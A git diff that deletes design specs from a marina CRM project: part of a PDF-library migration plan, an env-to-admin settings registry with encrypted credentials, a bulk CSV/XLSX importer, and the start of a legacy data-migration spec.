| 7 | Migrate client summary | port `client-summary-template.ts` → `.tsx`; rewire `record-export.ts` | same |
|
||||
| 8 | Migrate berth spec | same | same |
|
||||
| 9 | Migrate interest summary | same | same |
|
||||
| 10 | Migrate expense PDF | port `expense-pdf.service.ts` to react-pdf streaming; sharp photo compression | 250-entry seed test passes |
|
||||
| 11 | Remove invoice PDF generation | delete `invoice-template.ts`, the `generatePdf` call in `invoices.ts`, the API route `/api/v1/invoices/[id]/generate-pdf`; remove UI link | invoice list still works minus PDF button |
|
||||
| 12 | Remove TipTap-→-pdfme bridge | delete `tiptap-to-pdfme.ts`, the preview route, the `generatePdf` block in `document-templates.ts:516`, the `getStandardEoiTemplateHtml` seed reference | admin template editor still saves; preview removed |
|
||||
| 13 | Add unpdf to berth parser tier-2 | wire `unpdf` into `berth-pdf-parser.ts` for PDF→image rasterization; keep tesseract.js | berth PDF upload still parses |
|
||||
| 14 | Cleanup: drop pdfme deps | remove `@pdfme/common`, `@pdfme/generator`, `@pdfme/schemas` from package.json; delete `generate.ts`, `eoi-standard-inapp.ts`; clean up unused validators | `pnpm install` clean; no remaining imports |
|
||||
|
||||
Total: 14 commits. Most are small (5-15 file diffs). Commits 2, 10, and 12 are the heaviest. Vitest + tsc stay green throughout; each commit only flips behavior after its tests pass.
|
||||
|
||||
## Deferred (added to BACKLOG)
|
||||
|
||||
- Admin-uploaded PDF templates with AcroForm-fill (the invoice template-fill pattern). Needs: new `pdf_templates` table + field-mapping editor + admin upload UI + generalized `fillAcroForm()` utility. Likely ~1 week solo.
|
||||
- Port brand color tokens (admin sets brand color → flows into PDF accent color). ~2h.
|
||||
- Per-template logo override (different logo for invoices vs reports). YAGNI unless asked.
|
||||
- Optical receipt-photo rotation/deskew (auto-rotate phone-upload receipts to readable orientation). ~half day.
|
||||
- Replace tesseract.js with cloud OCR (AWS Textract / Google Vision) for berth parsing tier-2. Out of scope.
|
||||
|
||||
## Open questions
|
||||
|
||||
None blocking. Implementation can begin after user spec review.
|
||||
@@ -1,391 +0,0 @@
|
||||
# Env-to-Admin Migration — Design Spec
|
||||
|
||||
**Date:** 2026-05-15
|
||||
**Status:** Draft (awaiting user review)
|
||||
**Author:** Brainstorm session, Matt + Claude
|
||||
|
||||
## Goal
|
||||
|
||||
Move every tenant-configurable environment variable into the per-port admin UI, leaving env exclusively for boot-time / build-time / chicken-and-egg secrets. Eliminate the silent drift that produced two of the audit's findings (S-23 plaintext S3 access key; Documenso API key stored plaintext per its own admin form description).
|
||||
|
||||
## Non-goals
|
||||
|
||||
- **Not** moving boot-time secrets (DATABASE_URL, BETTER_AUTH_SECRET, etc.) — they're needed before the DB is reachable.
|
||||
- **Not** building a Google OAuth admin form — feature is not in use.
|
||||
- **Not** changing the existing per-port `system_settings` storage table — only adding columns / rows.
|
||||
- **Not** silently mutating `.env` files at runtime (rejected as too footgun-y).
|
||||
|
||||
## Scope decisions (from brainstorming)
|
||||
|
||||
| Decision | Choice |
|
||||
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| Which env vars move | Anything tenant-configurable (option 2). Boot-time + build-time stay in env. |
|
||||
| Env-fallback policy | Env stays as runtime fallback when admin field is blank. Vars are commented out in `.env.example`, with dev + prod templates committed to repo. |
|
||||
| Per-port vs global | Per-port with global fallback (`port_id IS NULL`) for credentials and shared infrastructure. Resolution: port → global → env → registry default. |
|
||||
| Encryption | All credential-class fields AES-256-GCM via `EMAIL_CREDENTIAL_KEY`. Fixes S-23 + Documenso plaintext as part of this migration. |
|
||||
| Migration UX | "Using env fallback" badge per field + "Copy current value from env" one-click button. Operator-driven; nothing happens automatically at boot. |
|
||||
| Implementation | Settings registry + uniform resolver (approach A). |
|
||||
|
||||
## Architecture
|
||||
|
||||
The current code has 4 places that "know" about each setting:
|
||||
|
||||
1. Env validation schema (`src/lib/env.ts`)
|
||||
2. Per-domain resolver (`src/lib/services/port-config.ts` for Documenso/email; ad-hoc reads for others)
|
||||
3. Admin form definition (`SettingFieldDef[]` in each `admin/<integration>/page.tsx`)
|
||||
4. Encryption call site (per service)
|
||||
|
||||
These drift independently and produce drift bugs. Replace those 4 sites with **one registry entry per setting**. The registry is consumed by:
|
||||
|
||||
- **Resolver** (`getSetting(key, portId)`) — port → global → env → default; decrypts on read if `encrypted: true`.
|
||||
- **Admin form generator** — renders inputs from `type` + `label` + `description`; auto-attaches the "Using env fallback" badge + "Copy from env" button. Encryption is transparent (resolver returns `*IsSet: true` for credential fields, never the cleartext).
|
||||
- **Validator** — Zod schema attached to each entry, used by both the admin write endpoint AND env validation at boot.
|
||||
- **Encryption helper** — registry says `encrypted: true` → resolver wraps in `encrypt()`/`decrypt()`.
|
||||
|
||||
Existing per-port settings table (`system_settings`) stays — no schema migration beyond adding `_encrypted` suffix to a few previously-plaintext columns and one new column for webhook secret.
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────┐
|
||||
│ src/lib/settings/ │
|
||||
│ ┌──────────────────────┐ ┌─────────────────────┐ │
|
||||
│ │ registry.ts │ │ resolver.ts │ │
|
||||
│ │ - one entry per key │───▶│ getSetting(k, port) │ │
|
||||
│ │ - type, encrypted, │ │ writeSetting(k, v) │ │
|
||||
│ │ scope, validator │ │ envFallbackFor(k) │ │
|
||||
│ └──────────────────────┘ └──────────┬──────────┘ │
|
||||
│ │ │
|
||||
│ ┌──────────────────────┐ ┌──────────▼──────────┐ │
|
||||
│ │ encryption.ts │◀───│ system_settings │ │
|
||||
│ │ AES-256-GCM │ │ (existing table) │ │
|
||||
│ └──────────────────────┘ └─────────────────────┘ │
|
||||
└─────────────────────────────────────────────────────────┘
|
||||
▲
|
||||
│
|
||||
┌──────────────────────┴──────────────────────────────────┐
|
||||
│ RegistryDrivenForm (React component) │
|
||||
│ Input: { sections: ['documenso.api', ...] } │
|
||||
│ Output: <Form> with badges + Copy-from-env buttons │
|
||||
└─────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
## Registry shape
|
||||
|
||||
```ts
|
||||
// src/lib/settings/registry.ts
|
||||
export interface SettingEntry {
|
||||
/** Stable key written to system_settings.key */
|
||||
key: string;
|
||||
/** Human-readable section the admin form groups by */
|
||||
section: string;
|
||||
/** UI label */
|
||||
label: string;
|
||||
/** UI description (markdown allowed) */
|
||||
description: string;
|
||||
/** Type drives both validation and form input */
|
||||
type: 'string' | 'password' | 'number' | 'boolean' | 'select' | 'url' | 'email';
|
||||
/** select-only */
|
||||
options?: Array<{ value: string; label: string }>;
|
||||
/** Zod schema — overrides type-default validator if provided */
|
||||
validator?: z.ZodTypeAny;
|
||||
/** Defaults applied when port + global + env all absent */
|
||||
defaultValue?: string | number | boolean | null;
|
||||
/** Encrypt at rest with AES-256-GCM */
|
||||
encrypted?: boolean;
|
||||
/** Per-port (default) or global-only (super-admin) */
|
||||
scope: 'port' | 'global';
|
||||
/** Env var name to consult as fallback when port + global blank */
|
||||
envFallback?: string;
|
||||
/** Optional value transformer applied after resolution */
|
||||
transform?: (raw: unknown) => unknown;
|
||||
/** Sensitive: never surface cleartext via admin API; emit `<key>IsSet: boolean` instead */
|
||||
sensitive?: boolean;
|
||||
}
|
||||
|
||||
export const REGISTRY: SettingEntry[] = [
|
||||
// Documenso
|
||||
{
|
||||
key: 'documenso_api_url',
|
||||
section: 'documenso.api',
|
||||
label: 'API URL',
|
||||
type: 'url',
|
||||
scope: 'port',
|
||||
envFallback: 'DOCUMENSO_API_URL',
|
||||
description: 'Bare host only — never include /api/v1.',
|
||||
},
|
||||
{
|
||||
key: 'documenso_api_key',
|
||||
section: 'documenso.api',
|
||||
label: 'API key',
|
||||
type: 'password',
|
||||
scope: 'port',
|
||||
encrypted: true,
|
||||
sensitive: true,
|
||||
envFallback: 'DOCUMENSO_API_KEY',
|
||||
description: 'AES-encrypted at rest.',
|
||||
},
|
||||
{
|
||||
key: 'documenso_api_version',
|
||||
section: 'documenso.api',
|
||||
label: 'API version',
|
||||
type: 'select',
|
||||
options: [
|
||||
{ value: 'v1', label: 'v1' },
|
||||
{ value: 'v2', label: 'v2' },
|
||||
],
|
||||
scope: 'port',
|
||||
envFallback: 'DOCUMENSO_API_VERSION',
|
||||
defaultValue: 'v1',
|
||||
},
|
||||
{
|
||||
key: 'documenso_webhook_secret',
|
||||
section: 'documenso.api',
|
||||
label: 'Webhook secret',
|
||||
type: 'password',
|
||||
scope: 'port',
|
||||
encrypted: true,
|
||||
sensitive: true,
|
||||
envFallback: 'DOCUMENSO_WEBHOOK_SECRET',
|
||||
description: 'Used to verify inbound webhook deliveries via X-Documenso-Secret header.',
|
||||
},
|
||||
// ... continued for every migrated key
|
||||
];
|
||||
```
|
||||
|
||||
Resolver:
|
||||
|
||||
```ts
|
||||
// src/lib/settings/resolver.ts
|
||||
export async function getSetting<T = unknown>(
|
||||
key: string,
|
||||
portId: string | null,
|
||||
): Promise<T | null> {
|
||||
const entry = registryFor(key);
|
||||
if (!entry) throw new Error(`Unknown setting: ${key}`);
|
||||
|
||||
// 1. port-specific
|
||||
if (portId && entry.scope === 'port') {
|
||||
const row = await db.query.systemSettings.findFirst({
|
||||
where: and(eq(systemSettings.key, key), eq(systemSettings.portId, portId)),
|
||||
});
|
||||
if (row?.value != null) return decryptIf(entry, row.value) as T;
|
||||
}
|
||||
|
||||
// 2. global (port_id IS NULL)
|
||||
const globalRow = await db.query.systemSettings.findFirst({
|
||||
where: and(eq(systemSettings.key, key), isNull(systemSettings.portId)),
|
||||
});
|
||||
if (globalRow?.value != null) return decryptIf(entry, globalRow.value) as T;
|
||||
|
||||
// 3. env fallback
|
||||
if (entry.envFallback && process.env[entry.envFallback]) {
|
||||
return (
|
||||
entry.transform?.(process.env[entry.envFallback]) ?? (process.env[entry.envFallback] as T)
|
||||
);
|
||||
}
|
||||
|
||||
// 4. registry default
|
||||
return (entry.defaultValue ?? null) as T;
|
||||
}
|
||||
```
|
||||
|
||||
The existing `getPortDocumensoConfig` etc. become thin convenience wrappers that batch a few `getSetting` calls and return a typed object:
|
||||
|
||||
```ts
|
||||
export async function getPortDocumensoConfig(portId: string) {
|
||||
const [apiUrl, apiKey, apiVersion, webhookSecret, ...rest] = await Promise.all([
|
||||
getSetting<string>('documenso_api_url', portId),
|
||||
getSetting<string>('documenso_api_key', portId),
|
||||
getSetting<DocumensoApiVersion>('documenso_api_version', portId),
|
||||
getSetting<string>('documenso_webhook_secret', portId),
|
||||
// ...
|
||||
]);
|
||||
return { apiUrl, apiKey, apiVersion, webhookSecret, ...mapRest(rest) };
|
||||
}
|
||||
```
|
||||
|
||||
## Admin UI generation
|
||||
|
||||
```tsx
|
||||
// src/components/admin/registry-driven-form.tsx
|
||||
interface Props {
|
||||
sections: string[]; // e.g. ['documenso.api', 'documenso.signers']
|
||||
portId: string | null; // null = global tab
|
||||
}
|
||||
|
||||
export function RegistryDrivenForm({ sections, portId }: Props) {
|
||||
const entries = REGISTRY.filter((e) => sections.includes(e.section));
|
||||
const { data: resolved } = useResolvedValues(entries, portId);
|
||||
|
||||
return entries.map((entry) => (
|
||||
<FormField key={entry.key}>
|
||||
<Label>{entry.label}</Label>
|
||||
{entry.description && <p className="text-xs text-muted-foreground">{entry.description}</p>}
|
||||
<Input
|
||||
type={entry.type === 'password' ? 'password' : entry.type}
|
||||
value={
|
||||
entry.sensitive
|
||||
? resolved[entry.key]?.isSet
|
||||
? '••••••••'
|
||||
: ''
|
||||
: (resolved[entry.key]?.value ?? '')
|
||||
}
|
||||
/>
|
||||
{resolved[entry.key]?.source === 'env' && (
|
||||
<div className="flex gap-2">
|
||||
<Badge>Using env fallback</Badge>
|
||||
<Button onClick={() => copyFromEnv(entry.key, portId)}>Copy from env</Button>
|
||||
</div>
|
||||
)}
|
||||
</FormField>
|
||||
));
|
||||
}
|
||||
```
|
||||
|
||||
The existing per-integration admin pages become 5-line wrappers:
|
||||
|
||||
```tsx
|
||||
// admin/documenso/page.tsx (replaces the current 410-line file)
|
||||
export default function DocumensoAdmin() {
|
||||
return (
|
||||
<>
|
||||
<PageHeader title="Documenso" />
|
||||
<RegistryDrivenForm
|
||||
sections={['documenso.api', 'documenso.signers', 'documenso.templates']}
|
||||
/>
|
||||
<DocumensoTestButton />
|
||||
</>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
## API endpoints
|
||||
|
||||
Two endpoints replace the current ad-hoc per-section endpoints:
|
||||
|
||||
| Method | Path | Purpose |
|
||||
| ------ | -------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| GET | `/api/v1/admin/settings/resolved?sections=documenso.api,documenso.signers` | Returns `{ key, value, source: 'port' \| 'global' \| 'env' \| 'default', isSet }` per requested entry. Sensitive fields never include cleartext. |
|
||||
| PUT | `/api/v1/admin/settings/:key` | Body `{ value }`. Validates against registry's Zod schema. Encrypts if `encrypted: true`. Writes to `system_settings`. Audit-logged with `action: 'update'`, `entityType: 'setting'`, `metadata: { key }`, secrets masked. |
|
||||
| DELETE | `/api/v1/admin/settings/:key` | Removes the row → reverts to global → env → default. |
|
||||
| POST | `/api/v1/admin/settings/:key/copy-from-env` | One-click migration. Reads env var named in `entry.envFallback`, writes to `system_settings`, returns the resulting resolved state. |
|
||||
|
||||
Existing `PUT /api/v1/admin/settings` (the generic upsert) stays for backward compat with the few non-registry writers; new fields use the typed endpoint.
|
||||
|
||||
## Encryption integration
|
||||
|
||||
- Reuse existing `encrypt()` / `decrypt()` from `src/lib/utils/encryption.ts` (AES-256-GCM, random IV per encryption, GCM auth tag).
|
||||
- Resolver auto-wraps encrypt on write when `entry.encrypted === true`, decrypt on read.
|
||||
- `system_settings.value` is `JSONB`. For encrypted values, store as `{ ciphertext, iv, tag }` (already the convention in `sales-email-config.service.ts`).
|
||||
- Sensitive fields surface `<key>IsSet: boolean` in the API response, never the decrypted value. The admin form shows `••••••••` placeholder.
|
||||
- Audit log integration: when writing to a key with `encrypted: true`, the `newValue` is replaced with `{ value: '[redacted]' }` before audit-log write — fixes audit finding **AU-02** (encrypted ciphertext in audit log) as part of this work.
|
||||
|
||||
## Env catalog
|
||||
|
||||
Every env var, classified:
|
||||
|
||||
### A. Stays in env (boot-time / build-time / chicken-and-egg)
|
||||
|
||||
| Var | Reason |
|
||||
| --------------------------- | ----------------------------------------------------------------------------------------------- |
|
||||
| `DATABASE_URL` | Need DB connection before reading from DB |
|
||||
| `REDIS_URL` | Same — Redis pre-init |
|
||||
| `BETTER_AUTH_SECRET` | Cookie/session signing key, read at auth init |
|
||||
| `BETTER_AUTH_URL` | Auth callback base URL, read at auth init |
|
||||
| `CSRF_SECRET` | CSRF token signing, read pre-DB |
|
||||
| `EMAIL_CREDENTIAL_KEY` | The AES key used to encrypt other DB-stored credentials (chicken-and-egg) |
|
||||
| `NODE_ENV` | Read pre-init by Next.js, logger, etc. |
|
||||
| `LOG_LEVEL` | Read at logger init pre-DB |
|
||||
| `PORT` | Listen port, read at server start |
|
||||
| `NEXT_PUBLIC_APP_URL` | Inlined into client JS bundle at build time |
|
||||
| `NEXT_PUBLIC_SENTRY_DSN` | Same — client-side Sentry init |
|
||||
| `MULTI_NODE_DEPLOYMENT` | Used at boot to gate filesystem backend |
|
||||
| `SKIP_ENV_VALIDATION` | Internal bypass flag |
|
||||
| `WEBSITE_INTAKE_SECRET` | Boot-time shared secret with marketing site (could go DB but operator-shared, not user-tunable) |
|
||||
| `EMAIL_REDIRECT_TO` | Dev-only safety net; operator convenience |
|
||||
| `SENTRY_ENVIRONMENT` | Read at Sentry SDK init pre-DB |
|
||||
| `SENTRY_TRACES_SAMPLE_RATE` | Same |
|
||||
|
||||
### B. Migrates to admin (per-port, encrypted where credential)
|
||||
|
||||
| Var | Registry key | Encrypted | Already in admin? |
|
||||
| ---------------------------------- | ---------------------------------- | ----------------------------- | ----------------------------- |
|
||||
| `DOCUMENSO_API_URL` | `documenso_api_url` | no | yes (override) |
|
||||
| `DOCUMENSO_API_KEY` | `documenso_api_key` | **yes** (was plaintext) | yes (override, plaintext bug) |
|
||||
| `DOCUMENSO_API_VERSION` | `documenso_api_version` | no | yes |
|
||||
| `DOCUMENSO_WEBHOOK_SECRET` | `documenso_webhook_secret` | **yes** | **no — gap** |
|
||||
| `DOCUMENSO_TEMPLATE_ID_EOI` | `documenso_eoi_template_id` | no | yes |
|
||||
| `DOCUMENSO_CLIENT_RECIPIENT_ID` | `documenso_client_recipient_id` | no | yes |
|
||||
| `DOCUMENSO_DEVELOPER_RECIPIENT_ID` | `documenso_developer_recipient_id` | no | yes |
|
||||
| `DOCUMENSO_APPROVAL_RECIPIENT_ID` | `documenso_approval_recipient_id` | no | yes |
|
||||
| `MINIO_ENDPOINT` | `storage_s3_endpoint` | no | yes (storage admin) |
|
||||
| `MINIO_PORT` | (combined into endpoint URL) | — | yes |
|
||||
| `MINIO_ACCESS_KEY` | `storage_s3_access_key` | **yes** (was plaintext, S-23) | yes (plaintext bug) |
|
||||
| `MINIO_SECRET_KEY` | `storage_s3_secret_key` | yes (already) | yes |
|
||||
| `MINIO_BUCKET` | `storage_s3_bucket` | no | yes |
|
||||
| `MINIO_USE_SSL` | (combined into endpoint URL) | — | yes |
|
||||
| `MINIO_AUTO_CREATE_BUCKET` | `storage_s3_auto_create_bucket` | no | new |
|
||||
| `SMTP_HOST` | `smtp_host_override` | no | yes |
|
||||
| `SMTP_PORT` | `smtp_port_override` | no | yes |
|
||||
| `SMTP_USER` | `smtp_user_override` | no | yes |
|
||||
| `SMTP_PASS` | `smtp_pass_override` | yes (already) | yes |
|
||||
| `SMTP_FROM` | `email_from_address` | no | yes |
|
||||
| `OPENAI_API_KEY` | `openai_api_key` | yes (already) | yes |
|
||||
| `APP_URL` | `app_url` | no | **new** |
|
||||
| `PUBLIC_SITE_URL` | `public_site_url` | no | **new** |
|
||||
|
||||
### C. Skipped (YAGNI)
|
||||
|
||||
| Var | Reason |
|
||||
| ------------------------------------------ | --------------------------------- |
|
||||
| `GOOGLE_CLIENT_ID`, `GOOGLE_CLIENT_SECRET` | OAuth not used and not on roadmap |
|
||||
|
||||
## Migration of existing code
|
||||
|
||||
1. **Replace `getPortDocumensoConfig` body** to call the new `getSetting` per field (see Architecture section).
|
||||
2. **Replace `getSalesEmailConfig` body** the same way.
|
||||
3. **Replace direct `process.env.X` reads** in: `receipt-scanner.ts:4` (OpenAI client), `documents.service.ts` (any direct env reads), `webhook-event-map.ts` (webhook URL builder), all `src/lib/storage/` backend reads.
|
||||
4. **Migrate the 5 admin pages** (Documenso, AI, OCR, Email, Storage) to use `RegistryDrivenForm`. Keep page-specific extras (test buttons, status cards, AI budget card, sends log).
|
||||
5. **Add migrations:**
|
||||
- One-time data migration: copy any plaintext `documenso_api_key_override` and `storage_s3_access_key` rows into encrypted columns, drop plaintext columns. Reuse `encrypt()`.
|
||||
- Schema: add `documenso_webhook_secret` row on first registry-resolver init, and any new keys (`app_url`, `public_site_url`).
|
||||
6. **Update `.env.example`:** comment out everything in category B, add an explanation header pointing operators to `/admin/<integration>` after first super-admin login. Generate `dev.env.example` and `prod.env.example` templates with category-A vars only (the boot-time minimum).
|
||||
7. **Update `src/lib/env.ts`:** mark all category-B vars as `optional()` (env is fallback, not required for boot). Category-A stays required.
|
||||
|
||||
## Error handling
|
||||
|
||||
- **Resolver:** unknown key → throws (programming error). Decryption failure → throws + audit-logged with `action: 'decryption_failed'`. Missing required value → returns `null`, caller decides (e.g. Documenso send fails with a clear error toast).
|
||||
- **Admin write:** Zod validation failure → 400 with field-level errors via `parseBody`. Encryption failure → 500 + audit `action: 'encryption_failed'`. Permission check at route handler (`admin.manage_settings` or domain-specific permission).
|
||||
- **Form:** "Copy from env" when env var is empty → toast "no env value to copy". Save with empty cleartext on a sensitive field → DELETE the row (reverts to env/default), don't write empty ciphertext.
|
||||
|
||||
## Testing
|
||||
|
||||
Unit tests:
|
||||
|
||||
- `getSetting` — port → global → env → default precedence (per-port hits, global hits, env fallback, default fallback)
|
||||
- `getSetting` — encrypted entry round-trips
|
||||
- `getSetting` — sensitive entry surfaces `*IsSet` boolean only
|
||||
- Registry validators reject malformed values
|
||||
- Migration script: plaintext → encrypted round-trips correctly
|
||||
|
||||
Integration tests:
|
||||
|
||||
- `PUT /api/v1/admin/settings/:key` with valid + invalid payloads
|
||||
- `POST /api/v1/admin/settings/:key/copy-from-env` with present + absent env
|
||||
- Audit log row written with masked secret value
|
||||
|
||||
E2E (Playwright smoke):
|
||||
|
||||
- Super-admin opens `/admin/documenso`, sees "Using env fallback" badges on inherited fields, types a value, saves, badge disappears
|
||||
- Click "Copy from env" → field auto-fills, badge changes to "Set in port"
|
||||
- Per-port override actually applied: switch port → see different value resolved
|
||||
|
||||
## Rollout
|
||||
|
||||
Single PR, single migration. Backward compat via env-as-fallback means existing deployments keep working unchanged after deploy (admin DB rows are absent, so resolver falls through to env). Operator opts in to admin-canonical configuration field-by-field.
|
||||
|
||||
## Out of scope (separate work)
|
||||
|
||||
- Building admin form for OCR / berth-PDF parser tunables (feature settings, not env migration)
|
||||
- Refactoring all _other_ per-port settings (vocabularies, qualification criteria, custom fields, etc.) into the registry — those already have working bespoke forms; no drift bug there.
|
||||
- Adding settings versioning / rollback (not requested)
|
||||
- Multi-tenant settings export/import (not requested)
|
||||
@@ -1,168 +0,0 @@
|
||||
# Bulk CSV/XLSX Importer — Design Spec
|
||||
|
||||
> **Status:** Approved (2026-06-01) · ready for implementation plan
|
||||
> **Driver:** Replace the static `admin/import` mockup with a real
|
||||
> self-serve importer. Primary purpose: **one-time cutover migration**
|
||||
> of legacy NocoDB/portal data into the new CRM at launch.
|
||||
> **Tracker:** `docs/launch-readiness.md` · feature-completeness batch.
|
||||
|
||||
## Purpose & scope
|
||||
|
||||
A visual importer that ingests CSV/XLSX exports of the legacy system and
|
||||
loads them into the CRM with column-mapping, dry-run preview, dedup, and
|
||||
per-batch undo. Built for the cutover migration but engineered as a
|
||||
reusable engine (it can serve ongoing ops later without a rewrite).
|
||||
|
||||
**In scope — seven entities**, imported in dependency order so foreign
|
||||
keys resolve by natural key:
|
||||
|
||||
| # | Entity | Dedup match-key | FKs resolved by natural key |
|
||||
| --- | --------------- | ---------------------------------------------------------------- | --------------------------------------- |
|
||||
| 1 | Companies | `name` (case-insensitive) | — |
|
||||
| 2 | Clients | primary `email` → fallback canonical `phone` | — |
|
||||
| 3 | Yachts | `name` + owner (or HIN if present) | owner → client email / company name |
|
||||
| 4 | Berths | `mooringNumber` (canonical `^[A-Z]+\d+$`) | — |
|
||||
| 5 | Interests/deals | default **create-new** (flag likely dupes by client+berth+stage) | client → email, primary berth → mooring |
|
||||
| 6 | Tenancies | client + berth + `startDate` | client → email, berth → mooring |
|
||||
| 7 | Expenses | `date` + `amount` + `description` (or none) | — |
|
||||
|
||||
Berths are included for UI consistency even though
|
||||
`scripts/import-berths-from-nocodb.ts` already covers them via CLI.
|
||||
|
||||
**Non-goals (v1):** full pre-update snapshot/revert of _updated_ rows
|
||||
(undo covers inserts only); streaming multi-GB files (migration files
|
||||
are small); scheduling/automation of imports; importing attachments/PDFs
|
||||
(handled by the Initiative 5 MinIO backfill scripts, separate).
|
||||
|
||||
## Architecture — generic engine + per-entity adapter registry
|
||||
|
||||
One pipeline parameterised by a per-entity **adapter**, mirroring the
|
||||
existing `src/lib/reports/custom/registry.ts` and settings-registry
|
||||
patterns.
|
||||
|
||||
`src/lib/import/registry.ts` exports `IMPORT_ENTITY_KEYS` and
|
||||
`IMPORT_REGISTRY: Record<ImportEntityKey, ImportAdapter>`. Each adapter:
|
||||
|
||||
```ts
|
||||
interface ImportAdapter {
|
||||
key: ImportEntityKey;
|
||||
label: string;
|
||||
order: number; // dependency order (companies=1 … expenses=7)
|
||||
dependsOn: ImportEntityKey[];
|
||||
/** Target fields drive the column-mapping UI + zod validation. */
|
||||
targetFields: ImportField[]; // { key, label, required, type, zod }
|
||||
/** Natural key used for dedup + as the FK-resolution lookup value. */
|
||||
matchKey: (row: MappedRow) => string | null;
|
||||
/** Resolve FK ids by natural key against the live DB. Returns ids or a
|
||||
* per-field resolution error. */
|
||||
resolveForeignKeys: (row: MappedRow, ctx: ImportCtx) => Promise<FkResult>;
|
||||
/** Dedup lookup — find an existing row by matchKey within the port. */
|
||||
findExisting: (portId: string, matchKey: string) => Promise<{ id: string } | null>;
|
||||
/** Writes delegate to the EXISTING service helpers so audit logging,
|
||||
* validation, and polymorphic-ownership rules come for free. */
|
||||
insert: (row: ResolvedRow, ctx: ImportCtx) => Promise<{ id: string }>;
|
||||
update: (existingId: string, row: ResolvedRow, ctx: ImportCtx) => Promise<void>;
|
||||
}
|
||||
```
|
||||
|
||||
Adding an entity = adding one adapter + registering it. No engine change.
|
||||
|
||||
## Pipeline (BullMQ `import` queue, concurrency 1)
|
||||
|
||||
The queue + worker already exist (`src/lib/queue/workers/import.ts` is
|
||||
currently a documented no-op). We replace the no-op body with the real
|
||||
processor and add a producer.
|
||||
|
||||
1. **Upload & parse.** Drag-drop CSV/XLSX → parse (papaparse for CSV;
|
||||
**ExcelJS already installed** for XLSX) → raw rows. The uploaded file
|
||||
is stored via `getStorageBackend()` under a temp prefix so the worker
|
||||
can re-read it; cleaned up after commit or on expiry.
|
||||
2. **Map columns.** Auto-suggest mappings by fuzzy header match to the
|
||||
adapter's `targetFields`; user overrides; **save mapping as a per-port
|
||||
template** (`import_mappings`) for re-runs.
|
||||
3. **Dry-run (no writes).** Per row: apply mapping → zod-validate →
|
||||
`resolveForeignKeys` → `findExisting` → classify as
|
||||
`will-insert | will-update | will-skip | error(line, reason)`. Surface
|
||||
counts + a sample of rows + a downloadable line-numbered error report.
|
||||
4. **Commit.** Producer enqueues the job; the worker streams rows applying
|
||||
the chosen **conflict policy** (`skip-matches` / `update-matches` /
|
||||
`error-on-match`) via the adapter's `insert`/`update`. Per-row try/catch
|
||||
so valid rows still land; every action recorded in `import_batch_rows`;
|
||||
`import_batches` updated with live progress + final counts.
|
||||
5. **History + Undo.** Admin list of batches (status, counts, error-report
|
||||
download). **Undo** deletes the rows a batch _inserted_, in reverse
|
||||
dependency order, refusing if any inserted row now has dependents
|
||||
created outside the batch. Updates are marked non-revertible in v1.
|
||||
|
||||
## Data model (3 new tables; no changes to entity tables)
|
||||
|
||||
- **`import_batches`** — `id, port_id, entity_type, filename, storage_key,
|
||||
status (uploaded|dry_run|committing|completed|failed|undone),
|
||||
total_rows, inserted, updated, skipped, errored, mapping_json,
|
||||
conflict_policy, created_by, created_at, completed_at`.
|
||||
- **`import_batch_rows`** — `id, batch_id, row_number, action
|
||||
(inserted|updated|skipped|errored), entity_id (nullable), error
|
||||
(nullable)`. Powers the error report + undo. Migration-scale volume is
|
||||
fine.
|
||||
- **`import_mappings`** — `id, port_id, entity_type, name, mapping_json,
|
||||
created_by, created_at`. Saved column mappings, reusable across runs.
|
||||
|
||||
Migration added via the project's `psql`-applied numbered migration flow;
|
||||
restart `next dev` after (prepared-statement cache caveat per CLAUDE.md).
|
||||
|
||||
## Validation, errors, conflict policy
|
||||
|
||||
- **Per-row zod** from each adapter's `targetFields`; failures collected
|
||||
with row number + field + message, never aborting the whole file.
|
||||
- **Downloadable error report** (CSV: row, field, message) from any
|
||||
dry-run or completed batch.
|
||||
- **Conflict policy** chosen per import, surfaced at the dry-run step
|
||||
(three distinct behaviours for a matched row):
|
||||
- `skip-matches` — insert new, leave matched rows untouched. Default;
|
||||
safe to re-run.
|
||||
- `update-matches` — insert new, overwrite matched rows with the file's
|
||||
values (correct earlier mistakes).
|
||||
- `error-on-match` — treat a match as a row error to review, importing
|
||||
nothing for it (strictest).
|
||||
|
||||
## UI
|
||||
|
||||
A 4-step wizard mirroring the existing **bulk-add-berths wizard**:
|
||||
|
||||
1. Pick entity (registry-driven, shown in dependency order with a hint) +
|
||||
upload file.
|
||||
2. Map columns (auto-suggested; load a saved mapping; save current).
|
||||
3. Dry-run preview — counts (new / update / skip / error), sample table,
|
||||
error-report download, pick conflict policy.
|
||||
4. Commit — progress bar (worker reports % via batch counts) → result
|
||||
summary with link to History.
|
||||
|
||||
Plus an **Import History** tab: batch list + status + counts + error
|
||||
report + **Undo**. Replaces the static mockup at
|
||||
`src/app/(dashboard)/[portSlug]/admin/import/page.tsx`.
|
||||
|
||||
## Permissions & tenancy
|
||||
|
||||
Gate behind a new `data.import` permission (admin-tier). Every query +
|
||||
write is `port_id`-scoped; FK resolution only matches within the port.
|
||||
|
||||
## Testing (TDD)
|
||||
|
||||
- **Per-adapter unit tests** (one suite each): column mapping, zod
|
||||
validation (valid + each failure mode), `matchKey`, `resolveForeignKeys`
|
||||
(hit / miss / ambiguous), `findExisting` dedup.
|
||||
- **Dry-run classifier integration test** on a seeded DB: a fixture file
|
||||
yielding one of each class (insert / update / skip / error).
|
||||
- **Commit worker integration test**: each conflict policy; partial-failure
|
||||
(valid rows land, errored rows reported); idempotent re-run.
|
||||
- **Undo test**: deletes inserted rows; refuses when an inserted row has an
|
||||
outside dependent.
|
||||
|
||||
## Decisions locked (defaults the user approved 2026-06-01)
|
||||
|
||||
- Rollback depth: **inserts-only undo**; updates non-revertible in v1.
|
||||
- Partial failure: **valid rows commit**, errors reported (not
|
||||
all-or-nothing).
|
||||
- Berths: **included** in the UI importer despite the existing CLI.
|
||||
- All seven entities in scope.
|
||||
- Purpose: one-time cutover migration (engine reusable for ongoing ops).
|
||||
@@ -1,212 +0,0 @@
|
||||
# Legacy → New CRM Data Migration — Design Spec
|
||||
|
||||
> **Status:** DRAFT (2026-06-01) · scope locked · awaiting stage-map sign-off
|
||||
> **Goal:** Translate all live legacy data + reconnect documents/EOIs so the
|
||||
> new CRM "picks up exactly where we left off."
|
||||
